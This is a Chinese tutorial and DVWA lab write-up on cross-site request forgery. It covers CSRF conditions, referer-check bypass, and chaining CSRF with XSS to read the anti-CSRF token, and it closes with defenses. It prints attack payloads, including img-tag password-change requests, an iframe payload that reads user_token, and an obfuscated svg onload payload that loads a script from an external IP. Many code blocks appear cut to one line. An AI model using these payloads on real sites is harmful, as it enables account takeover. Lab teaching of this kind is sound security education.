总字符数: 13.69K
代码: 3.33K, 文本: 3.84K
预计阅读时间: 31 分钟
漏洞信息
CSRF(跨站请求伪造)是攻击者利用用户的登录凭证,如Cookie,在不知情的情况下代表用户进行操作.
例如,假设用户在网站A上通过链接
http://xxx.com/xx.php?password=admin
更改密码.如果网站防护不足,攻击者可以在另一网站上放置一个看似无害的图片<img src='http://xxx.com/xx.php?password=admin' />
.如果网站A的管理员查看这个图片,他的浏览器会自动发送更改密码为admin
的请求,而管理员对此毫无察觉.
漏洞利用条件
CSRF漏洞的出现基于两个主要条件,正确理解它们有助于加强安全防护:
- 来源检查(Referer验证):通过检查请求从哪里来,服务器可以拒绝非本站来源的修改请求.但如果来源验证不严或可以绕过,攻击者的请求可能被误信.
- 令牌使用(Token验证):服务器为敏感操作生成一次性令牌,用户请求时需带上这个令牌.无有效令牌的请求将被拒绝.如果没有这样的系统或令牌易猜,漏洞可能被攻击者利用.
CSRF利用流程
CSRF的危害
- 执行恶意操作: 攻击者可以通过伪造用户请求执行恶意操作,比如修改用户的设置、删除重要数据等,导致用户遭受损失.
- 滥用用户权限: 如果用户在受攻击的网站中具有管理员或特殊权限,攻击者可以滥用这些权限执行更为严重的攻击,如关闭账户、修改系统设置等.
- 社会工程学攻击: 利用CSRF,攻击者可以通过引导用户点击链接或访问特定页面,从而进行社会工程学攻击,欺骗用户执行不安全的操作.
常见Payload
HTML
利用 HTML 元素发出 CSRF 请求,这是最常见的 CSRF 攻击.
HTML 中能设置 src/href
等链接地址的标签都可以发起一个 GET 请求,如:
1 | <link href=""> |
CSS
1 | background:url("") |
表单 Post
1 | <form action="http://www.a.com/register" id="register" method="post"> |
漏洞实验
本次靶场采用的为dvwa
类型 | IP |
---|---|
靶机 | 192.168.64.1 |
Exp服务器(Kali) | vmcentos.com |
账号 | 密码 |
---|---|
admin |
password |
1337 |
charley |
低级
请求分析
首先我们进入DVWA目标网站,用户名admin,密码 password,并将级别配置为low. 来到CSRF选项,执行一次正常的修改密码并进行观察.可以看到,更改密码的请求是直接放到url里的get请求.
可以看到以上请求包内也没有token第一个要求满足
然后我们看看第二个要求referer
我们右键Send to Repeater
或者快捷键Ctrl+R
发送到repeater
模块
通过以上图片我们可以分析出即使将referer
删掉之后也可以造成密码更改,2个条件都满足
构建POC
我们复制以下内容在Kali的中构造恶意页面
1 | <html> |
然后我们需要配置下hosts
文件,将vmcentos.com
指向kali的IP地址
PHPstudy
第二域名设置为Kali的网关地址(其实就是我们的phpstudy机器的IP)比如我这里是:192.168.64.1
然后刷新DNS
放行后我们的DVWA密码就被修改成了qqqq
上方为了演示所以构造的html需要点击,我们可以将poc放到标签内就不需要点按钮了,只要用户打开就能修改
1 | <html> |
这段内容描述了通过构造包含恶意代码的poc.html
文件,通过<img>
标签的src
属性来发送GET请求,从而实施CSRF攻击,达到修改用户密码的目的.以下是对内容的精简和整理:
CSRF攻击实例
攻击步骤
- 创建包含恶意代码的
poc.html
文件,用于触发CSRF攻击. - 利用
<img>
标签的src
属性发送GET请求,诱导用户访问poc.html
. - 用户访问后,相当于以其身份发送一次改密的GET请求至服务器,如:
http://example.com/change-password?new_password=123456
. - 服务器接收合法用户请求,执行改密响应,导致密码被修改.
实验结果分析
通过<img>
标签发送GET请求是一种常见的技巧,但对于一些敏感请求,如果未经妥善处理,仅依赖GET请求而不进行其他验证,容易受到CSRF攻击.
此示例中,用户只需访问包含恶意代码的poc.html
文件,其密码即可被攻击者修改.这强调了在处理敏感请求时,需要进行充分验证和其他防御措施,以防止CSRF攻击的发生.
中级
请求分析
请求分析步骤同低级一样,发现没有token
然后将refer
删掉看一下
可以看到PHP报错PHP Notice: Undefined index: HTTP_REFERER
大概意思就是请求头中的referer不存在
我们再伪造一个referer试一下,结果报错这个请求有点问题
接下来我们查看DVWA CSRF的源码
分析如下:
我们看到如下代码
1 | if(stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { |
1 | $_SERVER['HTTP_REFERER'] # 获取请求头中的referer值也就是来源地址 |
stripos函数
1 | stripos (string 字符串,string 要查找的内容); |
找到了并且返回为8而不是FALSE,也就是说只要referer中包含服务器的HOST就可以
构建POC
这里使用二级域名的方式构建POC
恶意网页的代码还是用的低级中的代码
我们可以看到密码修改成功,因为我们的域名中本身就带着靶机的HOST所以stripos函数可以找到并且条件成立
高级
分析
本步骤将分析请求方式及规则 进行一次正常的改密请求,如下:
GET请求中使用的user_token
参数正是之前提到的令牌(token)机制,确保每次请求的令牌都是无法预测的随机数.这意味着低到中级的攻击方法不再适用,因为没有token,请求将被视为无效.由于token的不可预知性,即使在代码中也难以捕获.
重点强调: 想要通过CSRF攻击构造恶意页面窃取用户的token是行不通的,因为存在跨域问题.举例来说,目标页面http://192.168.86.131:8042/vulnerabilities/csrf
位于192.168.86.131
服务器上,而攻击者页面可能托管在vmcentos.com
.不同的域意味着不能互相获取信息–域名的唯一性使得不可能伪造.域B的页面无法获取域A页面的内容,除非域A主动分享.因此,攻击者无法主动获取目标域的user_token
等敏感信息.至此,我们可以判断,单独使用CSRF攻击无法获取用户的token,因而无法完成攻击.
本步骤将利用xss绕过防御规则 这里需要利用到high等级的xss漏洞来获取user_token,payload如下:<iframe src='../csrf' onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
我获取好多次token以下面为准
而获取user_token后,我们就可以重复low等级的步骤,只不过改变一下src里的利用代码:
1 | <html> |
注意:8ecf7635b8b09b6caa0a6e1c98dcecc1
是通过XSS获取的一次性token
,它在每次页面刷新时都会变更.
在安全性较高的网站中,敏感操作(如支付、密码更改等)会要求一个由服务器生成的一次性随机数(`token`).这种机制确保了用户操作的合法性:用户的操作必须携带这个随机数,服务端会验证这个随机数,不匹配或缺失则拒绝请求.
进行攻击时,可按照低级别安全的步骤操作,创建HTML文档来诱导合法用户打开并触发攻击.
极为重要的警告:在使用XSS显示token时,请不要跳转到CSRF页面,因为在通过CSRF跳转到密码修改页面的过程中,token将会被重新刷新,导致之前获取的token失效.当前的浏览器安全策略不支持跨域访问,因此攻击脚本无法直接获取目标页面的user_token
.
特高级(不可能)
DVWA验证了原始密码,如果攻击者不知道原始密码的情况下不会攻击成功
XSS (Reflected)配合CSRF跨域
1 | ifr = document.createElement('iframe'); |
1 | <!-- 未编码 --> |
由于hidh等级采用了正则过滤,所以我们要实体编码部分字段
1 | <svg/onload=i=document.createElement('\u0073\u0063\u0072\u0069\u0070\u0074');i.src='\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0031\u0030\u002E\u0031\u0030\u002E\u0031\u0030\u002E\u0031\u0033\u003A\u0038\u0030\u0038\u0030\u002F\u0031\u002E\u006A\u0073';document.body.appendChild(i);> |
默认密码为pssword
将准备好的payload复制到输入框内
退出后使用默认密码登录失败
使用密码:123登录成功
防御
验证码(CAPTCHA)
验证码是一种强制用户与应用交互的手段,以确认操作的是真人而非自动化脚本或攻击程序.这因为自动化的攻击很难解决验证码,从而可以有效防止机器人自动执行敏感操作.
Referer检查(HTTP Referer)
通过检查HTTP请求头中的Referer值,服务器可以判断请求是否来自一个合法的源.虽然这种方法可以提高安全性,但并不总是可靠,因为Referer有时可能因为各种原因(如用户隐私设置)而不被发送.
Token
Token是一种非常有效的防御机制,因为它确保了每次敏感操作的请求都包含一个无法预测的随机值.将Token存储在用户的会话(Session)或浏览器的Cookies中可以提高安全性.每次用户提交表单时,都应该生成一个新的Token,并且验证提交的Token与会话中的Token是否一致.Token应当保密,不能出现在URL中,以避免通过Referer泄漏.
双重验证(Double Submit Cookies)
这种方法涉及生成两个Token,一个存储在用户的Cookie中,另一个作为表单的一部分随请求发送.服务器将验证两个Token是否匹配.因为攻击者无法读取目标网站的Cookie,所以这个方法在一定程度上能防止CSRF攻击.
自定义请求头(Custom Request Headers)
大多数CSRF攻击方法依赖于浏览器自动携带诸如Cookies和Authentication data等凭证.可以通过要求所有可能导致状态变化的HTTP请求携带一个自定义的请求头(例如:X-Requested-With: XMLHttpRequest)来帮助防御CSRF攻击.服务器将检查这个自定义头的存在性,它不会被普通的表单提交所携带,因此可以用来区别非法请求.
同源策略(SameSite Cookie Attribute)
最新的浏览器支持SameSite Cookie属性,可以设置为Strict或Lax.这个属性用于控制Cookie是否可以跨站点提交.当设置为Strict时,Cookie将只在请求是从同一网站发出时发送,这可以有效地阻止CSRF攻击.
HTTPS
使用HTTPS可以防止中间人攻击,这可以防止攻击者截获或篡改请求.虽然这对直接防御CSRF没有帮助,但它可以增强整体的通信安全,包括Token的传输.
限制跨站点脚本(XSS)
防止XSS攻击是防止CSRF的重要一环,因为XSS可以被用来绕过同源策略,从而窃取Cookies和Token等.确保应用充分防御XSS,例如使用内容安全策略(CSP),转义用户输入,以及使用安全的编程实践.